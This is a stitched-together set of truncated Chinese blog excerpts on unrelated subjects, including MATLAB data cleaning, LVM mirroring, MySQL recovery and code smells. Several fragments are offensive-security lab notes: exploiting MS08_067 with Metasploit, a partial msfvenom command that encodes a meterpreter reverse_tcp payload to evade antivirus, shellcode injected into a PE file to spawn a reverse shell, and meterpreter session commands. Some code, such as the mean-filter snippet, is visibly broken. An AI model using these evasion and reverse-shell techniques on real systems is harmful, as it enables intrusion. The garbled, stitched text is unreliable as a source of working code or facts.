在用MATLAB进行数据分析的时候,坏点对正确结果的影响比较大, 因此,我么需要剔除野点,对于坏值的剔除,我们 利用  3σ准则 剔除无效数据: 3σ准则又称为拉依达准则,它是先假设一组检测数据只含有随机误差,对其进行计算处理得到标准偏差,按一定概率确定一个区间, 认为凡超过这个区间的误差,就不属于随机误差而是粗大误差,含有该误差的数据应予以剔除.且3σ适用于有较多组数据的时候. 这种判别处理原理及方法仅局限于对正态或近似正态分布的样本数据处理,它是以测量次数充分大为前提的, 当测量次数较少的情

20145120黄玄曦<网络对抗>MSF基础应用 准备工作 本来决定就是老师提供的XP虚拟机了,做着做着发现因为打补丁以及语言的问题,需要另外的虚拟机. 求来了不那么健壮的虚拟机,环境如下: 实践部分 (1)主动攻击:MS08_067 从实验指导exploit/windows/smb/ms08_067_netapi易知,MS08_067这个漏洞是属于Windows平台对SMB协议的攻击 进入/usr/share/metasploit-framework/modules/exploits/win

20165101刘天野 2018-2019-2<网络对抗技术>Exp3 免杀原理与实践 1. 实践内容 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧 1.1.1 使用msf编码器 输入命令msfvenom -h可查看相关用法: 编码一次命令如下(用-e参数编码 用-b参数去除坏字符'\00'): msfvenom -p windows/meterpreter/reverse_tcp -e x8

开源软件近年来已变为构建一些大型网站的基础组件.并且伴随着网站的成长,围绕着它们架构的最佳实践和指导准则已经显露.这篇文章旨在涉及一些在设计大型网站时需要考虑的关键问题和一些为达到这些目标所使用的组件.上篇文章介绍了Web分布式系统设计准则和基本原理,本文介绍构建快速.可伸缩数据访问的组件. (上文)谈及了在设计分布式系统中需要考虑的一些核心问题,现在让我们来聊聊(比较)困难的部分:访问数据的可伸缩性. 大多数简单的web应用,例如LAMP栈应用,看上去如图1.5 图1.5:简单的web应用 随

LVM逻辑卷镜像实现方法 本文演示了在CentOS5系统中实现LVM逻辑卷镜像的方法.LVM的镜像功能,有点儿类似于Raid1,即多块儿磁盘互相同步,确保资料不会丢失. 创建物理卷,卷组的步骤这里就先省略了,网上大把的教程.本文的过程如下: 1,创建4个物理卷/dev/sda1./dev/sda2./dev/sda3./dev/sda4,并且将sda1-sda3三个物理卷加入到卷组vg1中,并在卷组vg1中创建包含镜像功能的逻辑卷lv1: 2,使用dd命令对物理卷sda2进行破坏,然后从卷组中发

PE格式是 Windows下最常用的可执行文件格式,理解PE文件格式不仅可以了解操作系统的加载流程,还可以更好的理解操作系统对进程和内存相关的管理知识,而有些技术必须建立在了解PE文件格式的基础上,如文件加密与解密,病毒分析,外挂技术等,本次实验的目标是手工修改或增加节区,并给特定可执行程序插入一段ShellCode代码,实现程序运行自动反弹一个Shell会话. VA地址与FOA地址互转 首先我们先来演示一下内存VA地址与FOA地址互相转换的方式,通过使用WinHEX打开一个二进制文件,打开后我

MSF 链接数据库 linux查找文件 find / -name dabase.yml 链接数据库 db_connect -y path/database.yml db_status 查询数据库链接状态 payload: windows/x64/meterpreter/reverse_tcp 命令 (以下命令基于这个payload) background 后台 sessions -i 1 返回 sessions -l 列出所有session getwd 查看远程主机当前路径 getlwd 查看本

[问题原因]服务器突然断电 [故障报告]数据库表结构损坏 [解决思路]进入强制恢复模式,备份库表及数据重建 故障发现 周末公司断电,周一启动数据库就直接报错了 查看日志 上面标记的log,明确表示是非正常关机(InnoDB: Database was not shutdown normally!)导致表结构损坏了,并且在最后给出了三种修复建议: 1)权限问题.我的文件无此类问题,略过该方案 2)跳过当前表恢复.我出错的表比较重要,全额无法通过备份恢复,所以该方案也不合适 3)调整强制恢复级别,强

一 matlab作图 (1)在图形文件figure的菜单上点击file->export setup, 在size选项中,对"expand axes to fill figure"选项打勾, 再点击:Apply to figure 即可.   (2)matlab作图1号线和2号线差距挺大,不适合学术论文作图,没有找到1.5号线性,目前使用发现是只有整数线粗   (3)matlab作图坐标轴默认是arial字体,打印时较粗,最好编程控制字体,'fontname','Time New

Matlab是做科研是比较常用的建模工具,我在研一做项目期间遇到了一个还算比较基础的问题,所以我打算记录下来并分享出来! 处理问题步骤: 1. 抛出问题 2. 思考解决方法 3. 代码验证看结果 抛出问题 在项目中有一批原始数据,在数据中有占很少比例的异样点,我们已经知道这些异样点是会影响结果精度的,需要剔除. 为了去除这些震荡点,我们自定义一些数据来进行模拟,用以找出去除方法,模拟的优势就在于能更快解决问题. 带有震荡点的模拟数据点图如下: 思考解决方法 在这个模拟数据点图中可以看出所有的异样

很是讨厌MATLAB输出图像时自带的白边,尤其是当导出.eps格式时,很难通过编辑图片来去掉白边.网上有很多代码但是没有注释,有很多坑要填.这里提供一个去除白边的代码,自己在别人的基础上修改了而且加了注释. MATLAB 坐标图 XLabel -- 标签 Title -- 标题 XTick -- 刻度线 XTickLable -- 刻度标签 下图显示了一个二维视图,其中 OuterPosition 值定义红色区域.Position 值定义蓝色区域,TightInset 值定义的品红色区域到蓝色之

状态不好,学学MATLAB做做准备吧. 一.基本情况 1.1 书写 一行写不下? %可以加上三个小黑点(续行符)并按下回车键,然后接下去再写.例如 s=-/+/-/+/-/+/-…- /+/-/+/-/; 1.2 运算相关 不等于:~= 所以,非:~ 常用的矩阵运算: eye(size(A))   产生与A矩阵同阶的单位矩阵 zeros(m,n)         产生0矩阵 ones(m,n)         产生1矩阵 rand (m,n)        产生随机元素的矩阵 Size(a)  

这几天很痛苦地去学习了下用 Matlab 来处理图像,其实那些算法我觉得还不算很难理解,可是 Matlab 这种反人类的语法(可能对于我来说是这样吧,毕竟熟悉了 C++ / Java 的语法一时间很难转过来)折磨了我好久. 前些天在网上看到了一张图片: 想 po 上朋友圈,可又觉得右下角的水印被人看着好像不是很好,于是就想能否利用刚学会的一丁点儿的 Matlab 知识来把水印去掉呢?Show you my low code: 首先,读取图片: >> I = imread('D:\课程文件\图像

今天在使用Matlab调用内部的PCA函数的时候,报错: 错误使用 pca输入参数太多. 如下图所示: 网上查找原因之后发现是因为我之前下载过开源的工具包toolbox,并且将它的路径add到了Matlab的path中,于是调用pca的时候,默认就会调用这个工具包中的函数,而Matlab自带的PCA就成了“Shadowed”的状态,如下图所示,用which -all pca来查看当前叫pca的函数都有哪些: 那么将添加过的path再移除就可以了. Matlab中添加与移除路径的详细操作可以参考这

所谓均值滤波实际上就是用均值替代原图像中的各个像素值. 均值滤波的方法是:对待处理的当前像素,选择一个模板,该模板为其近邻的若干像素组成,用模板中的像素的均值来替代原像素. 优点:算法简单,计算速度快. 缺点:在降低噪声时使图像产生模糊. matla程序: [width,height]=size(result1); n=; a=ones(n,n); x1=double(result1); x2=x1; :(height-n)+ :width-n+ c=x1(i:i+(n-),j:j+(n-)).

    比如我们一组数据,里面有不少的NaN值,如何将其删除掉呢?可以通过find函数来搞定.     我们可以通过importdata('data.txt')将数据文件data.txt导入数组A中.                           A=importdata('data.txt')     然后通过命令                         z=find(~isnan(A))     将A数组中NaN所在的编号给找出来:                      

编码曝光知识 - ostartech - 博客园 https://www.cnblogs.com/wxl845235800/p/8276362.html %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% 作者:WWC %%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %% 维纳滤波clc; clear; close all; %% 读取图片 I=imread('飞机.png')

坏味道--狎昵关系(Inappropriate Intimacy) 特征 一个类大量使用另一个类的内部字段和方法. 问题原因 类和类之间应该尽量少的感知彼此(减少耦合).这样的类更容易维护和复用. 解决方法 最简单的解决方法是运用 搬移函数(Move Method) 和 搬移字段(Move Field) 来让类之间斩断羁绊. 你也可以看看是否能运用 将双向关联改为单向关联(Change Bidirectional Association to Unidirectional) 让其中一个类对另一个

坏味道--夸夸其谈未来性(Speculative Generality) 特征 存在未被使用的类.函数.字段或参数. 问题原因 有时,代码仅仅为了支持未来的特性而产生,然而却一直未实现.结果,代码变得难以理解和维护. 解决方法 如果你的某个抽象类其实没有太大作用,请运用 折叠继承体系(Collapse Hierarch) . 不必要的委托可运用 将类内联化(Inline Class) 消除. 无用的函数可运用 内联函数(Inline Method) 消除. 函数中有无用的参数应该运用 移除参数(

实验一图像的滤波处理 一.实验目的 使用MATLAB处理图像,掌握均值滤波器和加权均值滤波器的使用,对比两种滤波器对图像处理结果及系统自带函数和自定义函数性能的比较,体会不同大小的掩模对图像细节的影响. 二.实验内容 使用n=3,5,9的正方形均值滤波器和加权均值滤波器对图像Fig1的滤波处理.观察处理前后图像效果,分析实验结果和算法特点. 三.实验原理 1.均值滤波器(平滑线性滤波器):其响应是包含模板内像素平均值,低通滤波器. R = (领域内所有点的值*对应点的掩模系数之和)/(掩模系数之